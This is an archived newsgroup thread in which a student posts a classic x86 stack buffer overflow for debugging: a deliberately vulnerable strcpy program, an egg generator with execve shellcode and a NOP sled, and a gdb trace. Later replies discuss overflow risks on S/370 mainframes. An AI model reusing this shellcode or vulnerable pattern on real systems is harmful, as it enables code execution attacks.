can anyone take a look at this? 
Author Message
 can anyone take a look at this?

hi!

i am trying to write an experimental buffer overflow exploit. there seems to
be some error in my code, causing execve() call in the shellcode not to
execute. debugging output shows that the shellcode is executed correctly,
and all registers are holding the appropriate values when int $0x80 is
called. nevertheless, no shell is executed and program execution continues
to the exit() call. The string is at the correct address in memory and
properly terminated with a '\0' character.

In the code shown here, I am using "/bin/ls" instead of "/bin/sh" as the
string supplied to execve().

can anyone help me on this? i really dont know what else could be wrong
with it!

----
vuln.c ---------------------------------------------------------------------
-----------

#include <stdio.h>

int main(int argc, char* argv[])

{

        char buffer[256];

        char longstring[1024];

        FILE* argument;

        if ((argument=fopen(argv[1],"r"))==NULL)

        {

           perror("fopen");

           exit(1);

        }

        if ((fread(longstring, 1, 1024, argument))==-1)

        {

           perror("fread");

           exit(1);

        }

        strcpy(buffer,longstring);

Quote:
}

------
create_egg.c ---------------------------------------------------------------
----------------------------------------------------------------------------
---

#include <stdlib.h>

#include <stdio.h>

#define FILENAME         "EGG"

#define NOP                0x90

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x0c\x88\x46\x07"

        "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"

        "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/ls";

unsigned long get_sp(void)

{

        __asm__("movl %esp,%eax");

Quote:
}

int main(int argc, char *argv[])

{

        char *buffer,*ptr;

        int bufsize,i;

        long ret, *ret_ptr;

        FILE *egg;

         if (argc != 3)

                {

                printf("usage: %s <buffer_size>
<offset_from_eip>\n",argv[0]);

                  exit(1);

                }

        bufsize = atoi(argv[1]);

        buffer = (char*)malloc(bufsize);

        ret = get_sp() - atoi(argv[2]);

        printf("return address = 0x%x\n", ret);

        ptr = buffer;

        ret_ptr = (long*) buffer;

        for (i = 0; i < bufsize; i+=4)

                *(ret_ptr++) = ret;

        for (i = 0; i < bufsize/2; i++)

                 (*ptr++)=0x90;

        ptr = buffer + (bufsize/2 - strlen(shellcode)/2);

        for (i = 0; i < strlen(shellcode); i++)

                *(ptr++) = shellcode[i];

        buffer[bufsize-1] = '\0';

        umask(022);

        if ((egg = fopen (FILENAME, "w"))==NULL)

        {

           perror("fopen");

           exit(1);

        }

        if ((fwrite (buffer, 1, strlen(buffer),egg))==-1)

        {

           perror("write");

           exit(1);

        }

        printf("\n");

        close (egg);

        return 0;

Quote:
}

---- gdb debug output of vuln
EGG ------------------------------------------------------------------------
------------------------------------

Breakpoint 1, main (argc=-1073742728, argv=0xbffffc78) at vuln.c:25
25            }1: x/i $eip  0x804858a <main+170>:     leave
(gdb) stepi

# return to address in stack

0x0804858b in main (argc=-1869574000, argv=0x90909090) at vuln.c:25
25            }1: x/i $eip  0x804858b <main+171>:     ret
(gdb) stepi

# found a NOP!!

0xbffffc78 in ?? ()
1: x/i $eip  0xbffffc78:           nop
(gdb) stepi
0xbffffc79 in ?? ()
1: x/i $eip  0xbffffc79:           nop
(gdb) stepi
0xbffffc7a in ?? ()
1: x/i $eip  0xbffffc7a:           nop
(gdb) stepi

(...)

1: x/i $eip  0xbffffcc3:           nop
(gdb) stepi
0xbffffcc4 in ?? ()
1: x/i $eip  0xbffffcc4:           nop
(gdb) stepi
0xbffffcc5 in ?? ()

# shellcode starts here:

1: x/i $eip  0xbffffcc5:           jmp    0xbffffce6
(gdb) stepi
0xbffffce6 in ?? ()
1: x/i $eip  0xbffffce6:           call   0xbffffcc7
(gdb) stepi
0xbffffcc7 in ?? ()
1: x/i $eip  0xbffffcc7:           pop    %esi
(gdb) stepi
0xbffffcc8 in ?? ()
1: x/i $eip  0xbffffcc8:           mov    %esi,0x8(%esi)
(gdb) stepi
0xbffffccb in ?? ()
1: x/i $eip  0xbffffccb:           xor    %eax,%eax
(gdb) stepi
0xbffffccd in ?? ()
1: x/i $eip  0xbffffccd:           mov    %al,0xc(%esi)
(gdb) stepi
0xbffffcd0 in ?? ()
1: x/i $eip  0xbffffcd0:           mov    %al,0x7(%esi)
(gdb) stepi
0xbffffcd3 in ?? ()
1: x/i $eip  0xbffffcd3:           mov    $0xb,%al
(gdb) stepi
0xbffffcd5 in ?? ()
1: x/i $eip  0xbffffcd5:           mov    %esi,%ebx
(gdb) stepi
0xbffffcd7 in ?? ()
1: x/i $eip  0xbffffcd7:           lea    0x8(%esi),%ecx
(gdb) stepi
0xbffffcda in ?? ()
1: x/i $eip  0xbffffcda:           lea    0xc(%esi),%edx
(gdb) stepi
0xbffffcdd in ?? ()
1: x/i $eip  0xbffffcdd:           int    $0x80

# eax holds 0xb (execve), ebx points to "/bin/ls", ecx points to address of
"/bin/ls", edx hold NULL.

(gdb) print /x $eax

$1 = 0xb

(gdb) print /x $ebx

$2 = 0xbffffcfb

(gdb) print /x $ecx

$3 = 0xbffffd03

(gdb) print /x $edx

$4 = 0xbffffd07

(gdb) x /8c 0xbffffcfb

0xbffffcfb:     47 '/'  98 'b'  105 'i' 110 'n' 47 '/'  108 'l' 115 's' 0
'\0'

(gdb) x /4x 0xbffffd03

0xbffffd03:     0xfb    0xfc    0xff    0xbf

(gdb) x /x 0xbffffd07

0xbffffd07:     0x00

# program execution continues and exit() is called.

(gdb) stepi
0xbffffce1 in ?? ()
1: x/i $eip  0xbffffce1:           mov    %ebx,%eax
(gdb) stepi
0xbffffce3 in ?? ()
1: x/i $eip  0xbffffce3:           inc    %eax
(gdb) stepi
0xbffffce4 in ?? ()
1: x/i $eip  0xbffffce4:           int    $0x80
(gdb) stepi

Program exited normally.



Tue, 06 Dec 2005 03:27:46 GMT  
 can anyone take a look at this?

:>i am trying to write an experimental buffer overflow exploit. there seems to
:>be some error in my code,

There is an error in your post.

You have posted it to an incorrect newsgroup.

--

http://www.dissensoftware.com

Director, Dissen Software, Bar & Grill - Israel



Tue, 06 Dec 2005 04:25:47 GMT  
 can anyone take a look at this?
this is meant to be a post concerning assembler language. i am writing my
exam for
telecommunications school (in st. p?lten / austria) about security bugs in
software and it would be a great
help if anyone would give me some advice here - i dont know any people
coding in assembler -
teachers at school also cant help me out.



Quote:

> :>i am trying to write an experimental buffer overflow exploit. there
seems to
> :>be some error in my code,

> There is an error in your post.

> You have posted it to an incorrect newsgroup.

> --

> http://www.dissensoftware.com

> Director, Dissen Software, Bar & Grill - Israel



Tue, 06 Dec 2005 05:13:39 GMT  
 can anyone take a look at this?

:>this is meant to be a post concerning assembler language. i am writing my
:>exam for
:>telecommunications school (in st. p?lten / austria) about security bugs in
:>software and it would be a great
:>help if anyone would give me some advice here - i dont know any people
:>coding in assembler -
:>teachers at school also cant help me out.

Then you posted to the wrong assembler group.

The 370 assembler applies to the mainframe. Your code seems to apply to 80x86.




:>>
:>> :>i am trying to write an experimental buffer overflow exploit. there
:>seems to
:>> :>be some error in my code,
:>>
:>> There is an error in your post.
:>>
:>> You have posted it to an incorrect newsgroup.
:>>
:>> --

:>> http://www.dissensoftware.com
:>>
:>> Director, Dissen Software, Bar & Grill - Israel
:>

--

http://www.dissensoftware.com

Director, Dissen Software, Bar & Grill - Israel



Tue, 06 Dec 2005 05:25:01 GMT  
 can anyone take a look at this?
ok - sorry my mistake!



Quote:

> :>this is meant to be a post concerning assembler language. i am writing
my
> :>exam for
> :>telecommunications school (in st. p?lten / austria) about security bugs
in
> :>software and it would be a great
> :>help if anyone would give me some advice here - i dont know any people
> :>coding in assembler -
> :>teachers at school also cant help me out.

> Then you posted to the wrong assembler group.

> The 370 assembler applies to the mainframe. Your code seems to apply to
80x86.




> :>>
> :>> :>i am trying to write an experimental buffer overflow exploit. there
> :>seems to
> :>> :>be some error in my code,
> :>>
> :>> There is an error in your post.
> :>>
> :>> You have posted it to an incorrect newsgroup.
> :>>
> :>> --

> :>> http://www.dissensoftware.com
> :>>
> :>> Director, Dissen Software, Bar & Grill - Israel
> :>

> --

> http://www.dissensoftware.com

> Director, Dissen Software, Bar & Grill - Israel



Tue, 06 Dec 2005 05:46:22 GMT  
 can anyone take a look at this?


Quote:

> :>i am trying to write an experimental buffer overflow exploit. there
seems to
> :>be some error in my code,

> There is an error in your post.

> You have posted it to an incorrect newsgroup.

Does this mean that buffer overflow exploit is not possible on S/370, or
related machines?

It would seem that the mechanism to do it would be different, and maybe
somewhat harder than on other machines.

-- glen



Tue, 06 Dec 2005 07:43:05 GMT  
 can anyone take a look at this?




:>> :>i am trying to write an experimental buffer overflow exploit. there
:>seems to
:>> :>be some error in my code,

:>> There is an error in your post.

:>> You have posted it to an incorrect newsgroup.

:>Does this mean that buffer overflow exploit is not possible on S/370, or
:>related machines?

:>It would seem that the mechanism to do it would be different, and maybe
:>somewhat harder than on other machines.

In order to have a "usable" exploit, one must be able to get some kind of
extra permission or get to a higher authority level.

Most code in this area will be protected by hardware keys and not susceptible
to such an overflow attack.

--

http://www.dissensoftware.com

Director, Dissen Software, Bar & Grill - Israel



Tue, 06 Dec 2005 08:05:33 GMT  
 can anyone take a look at this?
On Thu, 19 Jun 2003 23:43:05 GMT

:Does this mean that buffer overflow exploit is not possible on S/370, or
:related machines?

In terms of an unauthorized user gaining control in an authorized state, it
would be extremely unlikely. However, in terms of crashing an application or
sub-system, it has happened many times. I can testify from my own personal
experience that the early releases of CICS were particularly vulnerable.

-- Chuck



Tue, 06 Dec 2005 08:20:10 GMT  
 can anyone take a look at this?


Quote:

> Does this mean that buffer overflow exploit is not possible on S/370, or
> related machines?

> It would seem that the mechanism to do it would be different, and maybe
> somewhat harder than on other machines.

It is certainly possible to write code that is vulnerable to such exploits,
but why would anybody want to?

A long thread crossposted to this group started IIRC as a rant about how C
on Intel-based machines encouraged programmers to write code with such
vulnerabilities, and made it hard for programmers who knew better to include
appropriate checks. This is not an issue for those of us who program
mainframes in assembler; if we wish to include such vulnerabilities we have
to work at it.

    John Homes.



Tue, 06 Dec 2005 08:31:18 GMT  
 can anyone take a look at this?


Quote:
> On Thu, 19 Jun 2003 23:43:05 GMT "Glen Herrmannsfeldt"


Quote:




(snip regaring buffer overflow exploit)

Quote:
> :>> You have posted it to an incorrect newsgroup.

> :>Does this mean that buffer overflow exploit is not possible on S/370, or
> :>related machines?

> :>It would seem that the mechanism to do it would be different, and maybe
> :>somewhat harder than on other machines.

> In order to have a "usable" exploit, one must be able to get some kind of
> extra permission or get to a higher authority level.

> Most code in this area will be protected by hardware keys and not
susceptible
> to such an overflow attack.

It is usually programs that have extra authority that one tries to exploit.
Mail servers, which need to be able to deliver mail to the appropriate place
are one example on unix systems.   Traditionally they ran as root, though it
might be that they don't anymore.  Group mail should be enough to get to
mail directories.

If there are authorized tasks running as network servers, it should at least
be considered possible to have a buffer overflow exploit.  Though it is
somewhat easier on unix systems that allocate local variables and put the
return address on the same stack.

-- glen



Tue, 06 Dec 2005 09:06:36 GMT  
 can anyone take a look at this?


Quote:



> > Does this mean that buffer overflow exploit is not possible on S/370, or
> > related machines?

> > It would seem that the mechanism to do it would be different, and maybe
> > somewhat harder than on other machines.

> It is certainly possible to write code that is vulnerable to such
exploits,
> but why would anybody want to?

> A long thread crossposted to this group started IIRC as a rant about how C
> on Intel-based machines encouraged programmers to write code with such
> vulnerabilities, and made it hard for programmers who knew better to
include
> appropriate checks. This is not an issue for those of us who program
> mainframes in assembler; if we wish to include such vulnerabilities we
have
> to work at it.

I agree.  Though I think this has much to do with IBM systems usually using
length fields instead of special characters for identifying the ends of
things.   Many systems use special character delimiters in assembler
programs, which could lead to such problems.  Still, people do make
mistakes, and it would seem at least possible for a vulnerability in S/370
assembly programs, or even S/370 C programs.

-- glen



Sat, 10 Dec 2005 15:50:00 GMT  
 can anyone take a look at this?

Quote:





> > > Does this mean that buffer overflow exploit is not possible on S/370, or
> > > related machines?

> > > It would seem that the mechanism to do it would be different, and maybe
> > > somewhat harder than on other machines.

> > It is certainly possible to write code that is vulnerable to such
>  exploits,
> > but why would anybody want to?

> > A long thread crossposted to this group started IIRC as a rant about how C
> > on Intel-based machines encouraged programmers to write code with such
> > vulnerabilities, and made it hard for programmers who knew better to
>  include
> > appropriate checks. This is not an issue for those of us who program
> > mainframes in assembler; if we wish to include such vulnerabilities we
>  have
> > to work at it.

> I agree.  Though I think this has much to do with IBM systems usually using
> length fields instead of special characters for identifying the ends of
> things.   Many systems use special character delimiters in assembler
> programs, which could lead to such problems.  Still, people do make
> mistakes, and it would seem at least possible for a vulnerability in S/370
> assembly programs, or even S/370 C programs.

Exactly. I have an authorized server application on z/OS that uses
TCP/IP to send/receive message packets. Each packet has a standard
header of fixed length that identifies the message type, as well as
a sanity check of the expected length. The message length in the
header and the compile-time length of the message type are verified
before calling recv() for the *correct* number of bytes to receive.
The buffer is pre-allocated for the compile-time length. There is no
way that the buffer could overflow (unless TCP/IP itself is broken),
and no way for a client to spoof the server into doing something it
shouldn't do.

If the client sends a message with an incorrect header, then the
socket is closed immediately.

The server is written entirely in Systems/C (http://www.dignus.com),
runs authorized, supervisor state key zero, multi-tasking and some
SRB mode stuff. There's no way that a buffer overflow exploit could
be used against it.



Wed, 14 Dec 2005 23:49:54 GMT  
 
 [ 12 post ] 

 Relevant Pages 

1. Just took a look in the perl newsgroup....

2. Looking for (s)he who takes care of isqltcl

3. CA Cans VO ?

4. It's not bad canned meat...

5. It's not bad canned meat...

6. It's not bad canned meat...

7. Using CGI module with 'canned queries'

8. It's not bad canned meat...

9. Anyone looking for Assembler training?

10. Anyone looking to sell RB?

11. Looking for anyone who has used Smalltalk on the WEB

12. Anyone look at Visual Objects lately?

 

 
Powered by phpBB® Forum Software